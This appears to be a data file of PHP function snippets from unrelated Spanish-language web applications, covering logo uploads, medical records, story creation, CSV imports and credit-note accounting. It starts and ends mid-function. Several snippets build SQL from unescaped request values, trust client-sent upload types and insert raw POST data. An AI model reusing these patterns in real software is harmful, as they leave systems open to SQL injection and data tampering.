$_POST[\"nuevaTransportadora\"])){\n\n\t\t\t /*=============================================\n\t\t\t\tVALIDAR IMAGEN DEL LOGO\n\t\t\t\t=============================================*/\n\n\t\t\t\t$ruta = \"\";\n\n\t\t\t\tif(isset($_FILES[\"nuevoLogo\"][\"tmp_name\"])){\n\n\t\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t$nuevoAncho = 500;\n\t\t\t\t\t$nuevoAlto = 500;\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tCREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR EL LOGO DE LA TRANSPORTADORA\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t$nuevaTransportadoraDir = str_replace(array('ñ','Ñ','á','é','í','ó','ú','Á','É','Í','Ó','Ú','.',' '),array('n','N','a','e','i','o','u','A','E','I','O','U','_','_'),trim($_POST[\"nuevaTransportadora\"]));\n\n\t\t\t\t\t$directorio = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir;\n\n\t\t\t\t\tmkdir($directorio, 0755);\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tDE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\tif($_FILES[\"nuevoLogo\"][\"type\"] == \"image/jpeg\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir.\"/\".$aleatorio.\".jpg\";\n\n\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagejpeg($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t\tif($_FILES[\"nuevoLogo\"][\"type\"] == \"image/png\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir.\"/\".$aleatorio.\".png\";\n\n\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagepng($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t/* =====================================\n\t\t\t\t\tVALIDAR TRANSPORTADORA\n\t\t\t\t========================================== */\n\n\t\t\t\t$tabla = \"transportadoras\";\n\n\t\t\t\t$datos = array(\"transportadora\" => $_POST[\"nuevaTransportadora\"],\n\t\t\t\t\t \"logo\"=>$ruta);\n\n\t\t\t\t$respuesta = ModeloTransportadoras::mdlIngresarTransportadora($tabla, $datos);\n\n\t\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\t\techo '<script>\n\n\t\t\t\t\tswal({\n\n\t\t\t\t\t\ttype: \"success\",\n\t\t\t\t\t\ttitle: \"¡La transportadora ha sido guardada correctamente!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\twindow.location = \"transportadoras\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\n\t\t\t\t\t</script>';\n\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\techo '<script>\n\n\t\t\t\t\tswal({\n\n\t\t\t\t\t\ttype: \"error\",\n\t\t\t\t\t\ttitle: \"¡La transportadora no puede ir vacía o llevar caracteres especiales!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\twindow.location = \"transportadoras\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\n\t\t\t\t</script>';\n\n\t\t\t}\n\n\n\t\t}\n\n\n\t}", "static public function ctrCrearAtencion(){\r\n\t\t\tif (isset($_POST[\"nuevoCodigo\"])){\r\n\t\t\t\tif (preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST[\"idUser\"])){\r\n\r\n\r\n\t\t\t\t\t$tabla = \"atencion\";\r\n\r\n\t\t\t\t\t\t$datos = array(\"codigo_atencion\" => $_POST[\"nuevoCodigo\"],\r\n\t\t\t\t\t\t\t\t\t \"id_usuario\" => $_POST[\"idUsuario\"],\r\n\t\t\t\t\t\t\t\t\t \"id_personal_salud\" => $_POST[\"nuevaPersonalSalud\"],\r\n\t\t\t\t\t\t\t\t\t \"id_paciente\" => $_POST[\"nuevoPaciente\"],\r\n\t\t\t\t\t\t\t\t\t \"ups\" => $_POST[\"nuevaUps\"],\r\n\t\t\t\t\t\t\t\t\t \"servicio\" => $_POST[\"nuevoServicio\"],\r\n\t\t\t\t\t\t\t\t\t \"especialidad\" => $_POST[\"nuevaEspecialidad\"],\r\n\t\t\t\t\t\t\t\t\t \"diagnostico\" => $_POST[\"nuevoDiagnostico\"],\r\n\t\t\t\t\t\t\t\t\t \"fecha_atencion\" => $_POST[\"nuevaFechaAtencion\"]);\r\n\r\n\t\t\t\t\t\t$respuesta = ModeloAtenciones::mdlIngresarAtenciones($tabla, $datos);\r\n\r\n\t\t\t\t\t\tif ($respuesta == \"ok\") {\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\techo '<script>\r\n\r\n\t\t\t\t\t\t\t\t\tswal({\r\n\t\t\t\t\t\t\t\t\t\ttype: \"success\",\r\n\t\t\t\t\t\t\t\t\t\ttitle: \"¡La Atención ha sido guardado correctamente!\",\r\n\t\t\t\t\t\t\t\t\t\tshowConfirmButton: true,\r\n\t\t\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\",\r\n\t\t\t\t\t\t\t\t\t\tcloseOnConfirm: false\r\n\t\t\t\t\t\t\t\t\t\t}).then((result)=>{\r\n\t\t\t\t\t\t\t\t\t\t\tif(result.value){\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t\twindow.location = \"atenciones\";\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t });\r\n\r\n\t\t\t\t\t\t \t\t </script>';\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t}else{\r\n\r\n\t\t\t\t\techo '<script>\r\n\r\n\t\t\t\t\t\t\tswal({\r\n\t\t\t\t\t\t\t\ttype: \"error\",\r\n\t\t\t\t\t\t\t\ttitle: \"¡La Atención no puede ir vacía o llevar caracteres especiales !\",\r\n\t\t\t\t\t\t\t\tshowConfirmButton: true,\r\n\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\",\r\n\t\t\t\t\t\t\t\tcloseOnConfirm: false\r\n\t\t\t\t\t\t\t\t}).then((result)=>{\r\n\t\t\t\t\t\t\t\t\tif(result.value){\r\n\r\n\t\t\t\t\t\t\t\t\t\twindow.location = \"atenciones\";\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\t });\r\n\r\n\t\t\t\t\t\t </script>';\r\n\r\n\t\t\t}\r\n\t\t }\r\n\t\t/*===== FIN registro pacientes ======*/\t\t\t\t\t\r\n\t\t}", "function crear_relato(){\r\n $this->load->database();\r\n\r\n $datos_insertar = $this->input->post();\r\n unset($datos_insertar['bt_enviar']); //le quitamos el boton enviar, pues no lo necesitamos para el insert de\r\n\r\n //print_r($datos_insertar);\r\n $this->db->insert('relatos',$datos_insertar);\r\n\r\n //insertamos el relato en nuestra BD\r\n $id_relato = $this->db->insert_id();\r\n\r\n //tras crear el relato, insertamos el primer capitulo, pues todos los relatos constarán de al menos un capitulo\r\n $datos_primer_capitulo = array(\r\n \"numRelato\" => $id_relato,\r\n \"texto\" => 'CAPÍTULO 1:'\r\n );\r\n\r\n //print_r($datos_primer_capitulo);\r\n $this->db->insert('capitulos',$datos_primer_capitulo);\r\n\r\n return $id_relato;\r\n }", "private function getCodigoPresupuestarioInmuebleUrbano()\r\n\t\t{\r\n\t\t\t$codigoPresupuesto['codigo'] = '301020500';\r\n\t\t\treturn $codigo = self::getCodigoPresupuestarioByCodigo($codigoPresupuesto['codigo']);\r\n\t\t}", "function insertAtenciones(){\n\n\t$id_item=2; // proyecto : LEVEL\n\t$id_status=3;\n\t$id_nivel=1;\n\t$id_usuario=146; //larry portanova\n\t$id_user=203; //larry portanova\n\n\n\t//leer archivo\n\t$buffer=implode('',file('atenciones2/level.csv'));\n\n\t//parsear csv\n\t$atenciones=[];\n\n\t$lineas=explode(\"\\n\",$buffer);\n\n\t$campos=explode(\",\",$lineas[0]);\n\n\tforeach($lineas as $i => $linea){\n\n\t\tif($i==0) continue;\n\n\t\t$columnas=str_getcsv($linea);\n\n\t\tforeach($columnas as $j => $columna){\n\n\t\t\t$atenciones[$i][strtolower(trim($campos[$j]))]=$columna;\n\t\t}\n\n\t}\n\n\t// prin($atenciones);\n\n\t//inserts\n\n\t$fechaMonth=[\n\t'Ene'=>'01','Feb'=>'02','Mar'=>'03','Apr'=>'04','May'=>'05','Jun'=>'06','Jul'=>'07','Aug'=>'08','Set'=>'09','Oct'=>'10','Nov'=>'11','Dic'=>'12',\n\t'01'=>'01','02'=>'02','03'=>'03','04'=>'04','05'=>'05','06'=>'06','07'=>'07','08'=>'08','09'=>'09','10'=>'10','11'=>'11','12'=>'12',\n\t];\n\n\n\n\tforeach($atenciones as $i => &$atencion){\n\n\t\tif(trim($atencion['nombre'])=='') continue;\n\n\t\t//eliminamos vacio\n\t\tunset($atencion['']);\n\n\t\t//nombre completo\n\t\t$atencion['nombre_completo']=$atencion['nombre'];\n\n\t\t//nombre y apellidos\n\t\t$nom_partes=explode(\" \",$atencion['nombre']);\n\t\t$atencion['nombre']=$nom_partes[0];\n\t\tunset($nom_partes[0]);\n\t\t$atencion['apellidos']=trim(implode(\" \",$nom_partes));\n\n\t\t//fecha\n\t\t$atencion['fecha_original']=$atencion['fecha'];\n\t\t$fecha_partes=explode(\"-\",$atencion['fecha']);\n\t\t$atencion['fecha']=\"2015-\".$fechaMonth[$fecha_partes[1]].\"-\".str_pad($fecha_partes[0], 2, \"0\", STR_PAD_LEFT).\" 14:00:00\";\n\n\t\t$atencion['seguimiento']='Primer contacto';\n\t\t// prin($atencion['fecha']);\n\n\t\t// prin($atencion);\n\n\t\t// continue;\n\n\t\t//\n\t\t//cliente\n\t\t$clienteId=getIdOrCreate(\n\t\t\t\"clientes\",\n\t\t\t[\n\t\t\t\t\"nombre\" =>$atencion['nombre'],\n\t\t\t\t\"apellidos\" =>$atencion['apellidos'],\n\t\t\t],\n\t\t\t[\n\t\t\t\t\"celular_claro\" =>$atencion['tel. cel.'],\n\t\t\t\t\"email\" =>$atencion['email'],\n\t\t\t\t\"telefono\" =>$atencion['fijo'],\n\n\t\t\t\t\"id_usuario\" =>$id_usuario,//\n\t\t\t\t\"user\" \t\t =>$id_user,//\n\n\t\t\t\t// \"tipo_cliente\" =>rand(1, 2),\n\t\t\t\t// \"genero\" \t\t=>rand(1, 2),\n\t\t\t\t// \"genero\" \t\t=>rand(1, 2),\n\t\t\t\t// \"email\" \t\t=>\"[email protected]\",\n\t\t\t]\n\t\t\t);\n\n\n\t\t//\t$pedido='[{\"type\":\"departamento\",\"price\":\"621000\",\"id\":\"12\"}]';\n\t\t//departamento\n\t\t$item_item=select_fila(\"id,pvlista\",\"productos_items_items\",\"where numero=\".$atencion['departamento'].\" and id_item=\".$id_item);\n\n\t\t// $pedido='[{\"type\":\"departamento\",\"price\":\"'.$item_item['pvlista'].'\",\"id\":\"'.$item_item['id'].'\"}]';\n\n\t\t// $pedido='[{\"type\":\"departamento\",\"price\":\"'.$item_item['pvlista'].'\",\"id\":\"'.$item_item['id'].'\",\"name\":\"1 departamento'.$atencion['departamento'].'\",\"num\":\"'.$atencion['departamento'].'\",\"torre\":\"1\"}]';\n\n\t\t$canalId=getIdOrCreate(\n\t\t\t\"contacto_canales\",\n\t\t\t[\n\t\t\t\"nombre\" =>$atencion['medio'],\n\t\t\t]\n\t\t\t);\n\n\n\t\t// prin($atencion);\n\t\t//atencion\n\t\t$venta=insert(\n\t\t\t[\n\t\t\t\"fecha_creacion\" =>$atencion['fecha'],//\n\t\t\t\"fecha_creacion2\"=>$atencion['fecha'],//\n\t\t\t\"visibilidad\" =>'1',\n\t\t\t\"id_cliente\" =>$clienteId,\n\t\t\t\"id_status\" =>$id_status,//\n\t\t\t\"id_nivel\" =>$id_nivel,//\n\t\t\t\"id_canal\" =>$canalId,\n\t\t\t\"id_item\" =>$id_item,//\n\t\t\t\"id_usuario\" =>$id_usuario,//\n\t\t\t\"user\" \t\t =>$id_user,//\n\t\t\t\n\t\t\t// \"pedido\" =>$pedido,//\n\t\t\t// \"pvlista\" =>$item_item['pvlista'],//\n\t\t\t// \"pvpromocion\" =>$item_item['pvlista'],//\n\n\t\t\t// \"id_item_item\" =>$item_item['id'],//\n\n\t\t\t]\n\t\t\t,\"ventas_items\"\n\t\t\t);\n\n\t\tif(trim($atencion['seguimiento'])!='')\n\t\tinsert(\n\t\t\t[\n\t\t\t'fecha_creacion' =>$atencion['fecha'],\n\t\t\t// \"id_item\" =>$id_item,//\n\t\t\t'id_grupo' =>$venta['id'],\n\t\t\t// \"id_cliente\" =>$clienteId,\n\t\t\t'texto' =>$atencion['seguimiento'],\n\t\t\t]\n\t\t\t,'ventas_mensajes'\n\t\t\t,1\n\t\t\t);\n\n\t}\n\n\t// exit();\n\n\tprin(\"Inserciones DONE\");\n\n\t// prin($atenciones);\n\n\t// prin($celdas);\n\n\n\t// $matriz = str_getcsv($buffer,',','\"','\\\\',\"\\n\");\n\n\t// $matriz = str_getcsv($buffer); \n\n\t// prin($matriz);\n\n}", "function alta_unidad_m(){\n\t\t$u= new Unidad_medida();\n\t\t$u->fecha_alta=date(\"Y-m-d\");\n\t\t$u->estatus_general_id=1;\n\t\t$u->usuario_id=$GLOBALS['usuarioid'];\n\t\t$related = $u->from_array($_POST);\n\n\t\t// save with the related objects\n\t\tif($u->save($related))\n\t\t{\n\t\t\techo \"<html> <script>alert(\\\"Se han registrado los datos de la Unidad de Medida.\\\"); window.location='\".base_url().\"index.php/inicio/acceso/\".$GLOBALS['ruta'].\"/menu';</script></html>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tshow_error(\"\".$u->error->string);\n\t\t}\n\t}", "function RegistrarNotasAnticipo($tipoCambioFac = 0,$montoAnticipo=0,$tagref, $monedaFactura, $fechaemision, $DebtorNo, $DebtorTransIDFactura, $tieneIVA,$idAnticipo,$ivaFactura, $db, $puntoVenta = 0, $nocuentaPuntoVenta = '', $nomClientePuntoVenta = ''){\n // *********************************************** //\n // ********************************************** //\n // ******** No dejar echo en la funcion *********//\n // ******** Declarar Variables a usar ******** //\n // ******** Afecta al punto de venta ********* //\n // ****************************************** //\n // ***************************************** //\n \n //global $db;\n $systype_doc = 13;\n /*$tipocambio = $_SESSION['Items' . $identifier]->CurrencyRate;\n $montoAnticipo = $LineAnticipo->Monto;\n $moneda = $_SESSION['Items' . $identifier]->CurrAbrev;\n $fecha = split(\"-\", $fechaemision) ;\n $DebtorNo = $_SESSION['Items' . $identifier]->DebtorNo;\n $tagref = $_SESSION['Items' . $identifier]->Tagref;\n $tieneIVA = $tieneIVA;\n $idAnticipo = $LineAnticipo->TransID;*/\n\n //echo \"<br> AnticipoIVA: \".$tieneIVA;\n $tipocambio = $tipoCambioFac;\n $montoAnticipo = $montoAnticipo;\n $monto = $montoAnticipo;\n $moneda = $monedaFactura;\n $fecha = explode(\"-\", $fechaemision) ;\n $DebtorNo = $DebtorNo;\n $tagref = $tagref;\n $tieneIVA = $tieneIVA;\n $idAnticipo = $idAnticipo;\n $ErrMsg = '';\n $DbgMsg = '';\n\n $InputError = 0;\n\n $FromDia = $fecha [2];\n $FromMes = $fecha [1];\n $FromYear = $fecha [0];\n $_POST['aplparcial'] = 2; // PARA TIMBRAR\n $_POST['cmbUsoCfdi'] = 'G02'; \n $_POST['cmbTipoComprobante'] = 'E';\n $_POST['cmbMetodoPago'] = 'PUE';\n $_POST['cmbTipoRelacion'] = '07';\n $_POST['paymentname'] = 'Aplicacion de anticipos';\n $vrcodepay = utf8_decode('Aplicacion de anticipos');\n $concepto = utf8_decode('Aplicacion de anticipos'); \n $vrcodeasat = '30';\n //$idSaldoAnticipo = $LineAnticipo->TransID;\n $DebtorTransID = $DebtorTransIDFactura ;\n\n $SQLDatosFactura= \"SELECT debtortrans.*, name FROM debtortrans\n INNER JOIN debtorsmaster ON debtortrans.debtorno = debtorsmaster.debtorno\n WHERE id =\" .$DebtorTransIDFactura;\n $resultFactura = DB_query($SQLDatosFactura, $db);\n $myrowFactura = DB_fetch_array($resultFactura);\n $TotalFactura = $myrowFactura['ovamount'] + $myrowFactura['ovgst'];\n $typeFactura = $myrowFactura['type'];\n $nombrecliente= $myrowFactura['name'];\n \n\n //echo \"<br> Tipo cambio BIEN\".$tipoCambioFacBIEN;\n\n $_POST ['TaxCat'] = 2;\n if($tieneIVA == '1'){\n $_POST ['TaxCat'] = 4;\n }\n\n $nocuenta = '';\n if ($puntoVenta == 1) {\n $nocuenta = $nocuentaPuntoVenta;\n } else {\n if (isset($_POST ['nocuenta'])) {\n $nocuenta = $_POST ['nocuenta'];\n }\n }\n\n $nomCliente = '';\n if ($puntoVenta == 1) {\n $nomCliente = $nomClientePuntoVenta;\n } else {\n if (isset($nombrecliente)) {\n $nomCliente = $nombrecliente;\n }\n }\n\n $_POST ['nocuenta'] = $nocuenta;\n\n $nombrecliente = $nomCliente;\n\n $SQLSaldoANT = \"SELECT debtortrans.*, bien.rate as cambiobien FROM debtortrans \n INNER JOIN debtortrans bien ON bien.id = debtortrans.ref1\n WHERE debtortrans.id ='\".$idAnticipo.\"'\"; \n\n //echo \"<br> saldo\".$SQLSaldoANT;\n $resultSaldoANT = DB_query($SQLSaldoANT, $db);\n $rowSaldoANT = DB_fetch_array($resultSaldoANT);\n $monedaSaldoANT = $rowSaldoANT['currcode'];\n $rateSaldoANT = $rowSaldoANT['rate'];\n $ivaSaldoANT = $rowSaldoANT['ovgst'];\n $tipoCambioFacBIEN= $rowSaldoANT['cambiobien'];\n \n\n //echo \"<br> Pruebas: \".$rowSaldoANT;\n //echo \"<br> saldo ANt: \".$rateSaldoANT;\n if ($InputError != 1) {\n $Result = DB_Txn_Begin($db);\n \n // Obtiene el trans no que le corsesponde en base al tagref y al $systype_doc\n $transno = GetNextTransNo($systype_doc, $db);\n \n $taxrate = 0;\n $montoiva = 0;\n $rate = ( $tipocambio);\n $DefaultDispatchDate = $FromDia . '/' . $FromMes . '/' . $FromYear;\n $fechaini = rtrim($FromYear) . '-' . rtrim($FromMes) . '-' . rtrim($FromDia);\n $diae = rtrim($FromDia);\n $mese = rtrim($FromMes);\n $anioe = rtrim($FromYear);\n $horax = date('H:i:s');\n $horax = strtotime($horax);\n $hora = date('H');\n $minuto = date('i');\n $segundo = date('s');\n $fechainic = mktime($hora, $minuto, $segundo, rtrim($mese), rtrim($diae), rtrim($anioe));\n $fechaemision = date(\"Y-m-d H:i:s\", $fechainic);\n $PeriodNo = GetPeriod($DefaultDispatchDate, $db, $tagref);\n $DefaultDispatchDate = FormatDateForSQL($DefaultDispatchDate);\n \n if (isset($_POST ['TaxCat']) and $_POST ['TaxCat'] != \"\") {\n $sqliva = \"SELECT taxrate,taxglcode,taxglcodepaid\n FROM taxauthrates, taxauthorities\n WHERE taxauthrates.taxauthority=taxauthorities.taxid\n AND taxauthrates.taxcatid =\" . $_POST ['TaxCat'];\n\n //echo \"<br> SQL IVA\".$sqliva;\n\n $result = DB_query($sqliva, $db);\n $myrow = DB_fetch_row($result);\n $taxrate = $myrow [0];\n $taxglcode = $myrow [1];\n $taxglcodepaid = $myrow [2];\n }\n\n // calcula iva y desglosa de iva\n // $montosiniva = $monto / (1 + $taxrate);\n // $montoiva = $monto - $montosiniva;\n\n $mntIVA = 0;\n if (isset($_POST['mntIVA'])) {\n $mntIVA = $_POST['mntIVA'];\n }\n\n // calcula iva y desglosa de iva\n if (($mntIVA == 0 || empty($mntIVA))) {\n //Iva del categoria impuestos\n $montosiniva = $monto / (1 + $taxrate);\n $montoiva = $monto - $montosiniva;\n }else{\n //Iva agregado manual\n $_SESSION['IvaManualAbonoDirectoClientes'] = 1;\n //\n $montosiniva = $monto - $mntIVA;\n //$montosiniva = $monto;\n $montoiva = $mntIVA;\n } \n // se valida ya que debe de acuerdo al iva de l factura\n //echo \"<br> ivaFactura2: \".$ivaFactura;\n if( (Round($TotalFactura,2) - Round($monto,2) < -.01) AND $tieneIVA ==1 AND $ivaFactura == 0){\n $monto = $montosiniva;\n $montoiva = $montosiniva - ($montosiniva/1.16);\n $montosiniva = ($montosiniva/1.16);\n $montoAnticipo = $monto;\n }\n \n // Datos del Periodo y fecha ***\n // $DefaultDispatchDate=Date($_SESSION['DefaultDateFormat'],CalcEarliestDispatchDate());\n // $PeriodNo = GetPeriod($DefaultDispatchDate, $db);\n \n // $DefaultDispatchDate = FormatDateForSQL($DefaultDispatchDate);\n // *****************************\n if ($_SESSION['MostrarCuentaNC']=='1') {\n $SQL=\"SELECT accountcode,\n concept AS accountname\n FROM chartbridge\n WHERE accountcode='\".$_POST['GLCode'].\"'\n ORDER BY accountcode\";\n $ResultR=DB_query($SQL, $db);\n $rowR=DB_fetch_array($ResultR);\n $concepto.=' '.$rowR['accountname'];\n }\n // Realiza el insert en la tabla de debtortrans\n $SQL = \"INSERT INTO debtortrans (`tagref`,\n `transno`,`type`,\n `debtorno`,`branchcode`,\n `origtrandate`,`trandate`,`prd`,\n `settled`,`reference`,`tpe`,`order_`,\n `rate`,`ovamount`,`ovgst`,`ovfreight`,\n `ovdiscount`,`diffonexch`,`alloc`,`invtext`,\n `shipvia`,`edisent`,`consignment`,`folio`,`ref1`,`ref2`,`currcode`,paymentname,nocuenta,userid)\";\n $SQL .= \" VALUES (\" . $tagref . \",\n \" . $transno . \",\" . $systype_doc . \",\n '\" . $DebtorNo . \"', '\" . $DebtorNo . \"','\" . $fechaemision . \"','\" . $fechaini . \"',\" . $PeriodNo . \",'0','\" . $concepto . \"', '','0','\" . $rate . \"',\" . ($montosiniva * - 1) . \",\" . ($montoiva * - 1) . \",'0','0','0','0','','1','0','', 'FANT','NCR','NCR','\" . $moneda . \"','\" . $_POST ['paymentname'] . \"','\" . $_POST ['nocuenta'] . \"','\".$_SESSION['UserID'].\"')\";\n // echo '<pre>sql NC:'.$SQL;\n $result = DB_query($SQL, $db);\n \n $DebtorTransIDND = DB_Last_Insert_ID($db, 'debtortrans', 'id');\n\n // ***************************************************************************************************\n // **** CFDI Relacionados ****\n // ***************************************************************************************************\n // \n //******************GENERAR NOTA DE CARGO Y SE HACE LA APLICACION YA QUE ES SIN CONTABILIDAD****************** \n $systype_docN = 21;\n $transnoN = GetNextTransNo($systype_docN, $db); \n $SQLN = \"INSERT INTO debtortrans (`tagref`,\n `transno`,`type`,\n `debtorno`,`branchcode`,\n `origtrandate`,`trandate`,`prd`,\n `settled`,`reference`,`tpe`,`order_`,\n `rate`,`ovamount`,`ovgst`,`ovfreight`,\n `ovdiscount`,`diffonexch`,`alloc`,`invtext`,\n `shipvia`,`edisent`,`consignment`,`folio`,`ref1`,`ref2`,`currcode`,paymentname,nocuenta,userid)\";\n $SQLN .= \" VALUES (\" . $tagref . \",\n \" . $transnoN . \",\" . $systype_docN . \",\n '\" . $DebtorNo . \"', '\" . $DebtorNo . \"','\" . $fechaemision . \"','\" . $fechaini . \"',\" . $PeriodNo . \",'0','\" . $concepto . \"', '','0','\" . $rateSaldoANT . \"',\" . ($montosiniva) . \",\" . ($montoiva) . \",'0','0','0','0','','1','0','', 'FANT','NCR','NCR','\" . $moneda . \"','\" . $_POST['paymentname'] . \"','\" . $_POST ['nocuenta'] . \"','\".$_SESSION['UserID'].\"')\";\n //echo '<pre>sql NC:'.$SQLN;\n $result = DB_query($SQLN, $db);\n $DebtorTransIDCargo = DB_Last_Insert_ID($db, 'debtortrans', 'id');\n\n $ISQL = \"INSERT INTO custallocns (datealloc,transid_allocfrom,amt,transid_allocto, rate_to,currcode_to, rate_from, currcode_from)\n VALUES ( NOW(),\" . $idAnticipo . ',' . abs($montoAnticipo) . ',' . $DebtorTransIDCargo . ',\"'.$tipocambio.'\", \"'.$moneda.'\", \"'.$rate.'\", \"'.$moneda.'\" )';\n $Result = DB_query($ISQL, $db, $ErrMsg, $DbgMsg, true);\n\n $ISQL = \"UPDATE debtortrans SET alloc = alloc + \".($montoAnticipo * -1 ).\" WHERE id = '\".$idAnticipo.\"' \" ;\n $Result = DB_query($ISQL, $db, $ErrMsg, $DbgMsg, true);\n\n\n $ISQL = \"UPDATE debtortrans SET alloc = alloc + \".abs($montoAnticipo).\", settled=1 WHERE id = '\".$DebtorTransIDCargo.\"' \" ;\n $Result = DB_query($ISQL, $db, $ErrMsg, $DbgMsg, true);\n\n //********************GENERAR NOTA DE CARGO Y SE HACE LA APLICACION YA QUE ES SIN CONTABILIDAD********************\n $percentDescription=\"\";\n if ($_SESSION['FacturaVersion']==\"3.3\") {\n\n $queryInsert=\"INSERT INTO notesorders_invoice(transid,transid_relacion,monto, tiporelacion_relacion, trandate)\";\n $queryInsert.=\" VALUES ('\".$DebtorTransIDND.\"','\".$DebtorTransID.\"',\".str_replace(\",\", \"\", $monto ).\", '\".$_POST['cmbTipoRelacion'].\"', NOW())\";\n\n\n // echo \" Consulta: <br> notesordes: \".$queryInsert;\n $result = DB_query($queryInsert, $db);\n\n // SE HACE LA RELACION DE FACTURA CON NOTA DE CREDITO\n $ISQL = \"INSERT INTO custallocns (datealloc,transid_allocfrom,amt,transid_allocto, rate_to,currcode_to, rate_from, currcode_from )\n VALUES (NOW(),\" . $DebtorTransIDND . ',' . abs($monto ) . ',' . $DebtorTransID . ', \"'.$tipocambio.'\", \"'.$moneda.'\", \"'.$rate.'\", \"'.$moneda.'\")';\n //echo \"<br> PRUEBAS: \".$ISQL;\n $Result = DB_query($ISQL, $db, $ErrMsg, $DbgMsg, true);\n\n $ISQL = \"UPDATE debtortrans SET alloc = alloc + \". (abs($monto ) * -1 ).\", settled=1 WHERE id = '\".$DebtorTransIDND.\"' \" ;\n //echo \"<br> PRUEBAS: \".$ISQL;\n $Result = DB_query($ISQL, $db, $ErrMsg, $DbgMsg, true);\n $ISQL = \"UPDATE debtortrans SET alloc = alloc + \".abs($monto).\" WHERE id = '\".$DebtorTransID.\"' \" ;\n //echo \"<br> PRUEBAS: \".$ISQL;\n $Result = DB_query($ISQL, $db, $ErrMsg, $DbgMsg, true);\n // SE HACE LA RELACION DE FACTURA CON NOTA DE CREDITO\n \n \n if ($result && 1 == 2) {\n $banderaEx = 0;\n if ($banderaEx > 0) {\n while ($rse = DB_fetch_array($rrr)) {\n $queryFolio=\"SELECT REPLACE(folio,'|','') as folio FROM debtortrans WHERE id = '\".$rse['transid_relacion'].\"'\";\n $resultFolio = DB_query($queryFolio, $db);\n $myrowFolio = DB_fetch_array($resultFolio);\n $percentDescription .= \", aplicado al folio: \" .$myrowFolio['folio'] ;// \", \" . number_format((($rse['monto']/$monto) * 100), '0', '.', '') .\" % al saldo del folio: \" .$myrowFolio['folio'] ;\n }\n } else {\n $queryFolio=\"SELECT REPLACE(folio,'|','') as folio FROM debtortrans WHERE id = '\".$_POST['InvoiceTransId_'.$index].\"'\";\n $resultFolio = DB_query($queryFolio, $db);\n $myrowFolio = DB_fetch_array($resultFolio);\n $percentDescription .= \", aplicado al folio: \" .$myrowFolio['folio'] ;//$percentDescription .= \", \" . number_format((( str_replace(\",\", \"\", $_POST['InvoiceAmount_'.$index])/$monto) * 100), '0', '.', '') .\" % al saldo del folio: \" .$myrowFolio['folio'] ;\n }\n }\n //SE CREA INSERT PARA REGISTRAR LA RELACION DE LA FACTURA CON EL ANTICIPO\n $SQLAnt = \"UPDATE salesinvoiceadvance SET transidncredito = '\".$DebtorTransIDND.\"' , montoncredito = '\".str_replace(\",\", \"\", $monto).\"', transidncargo = '\".$DebtorTransIDCargo.\"' WHERE transidinvoice = '\".$DebtorTransID.\"' AND transidanticipo = '\".$idAnticipo.\"';\";\n $resultado = DB_query($SQLAnt, $db);\n\n //SE CREA INSERT PARA REGISTRAR LA RELACION DE LA FACTURA CON EL ANTICIPO\n\n $querySelect=\"select notesorders_invoice.transid_relacion,(abs(notesorders_invoice.monto)) AS ovamount ,codesat,c_paymentid,paymentname\n from notesorders_invoice\n left join debtortrans on notesorders_invoice.transid_relacion = debtortrans.id\n where notesorders_invoice.transid='\".$DebtorTransIDND.\"'\n order by 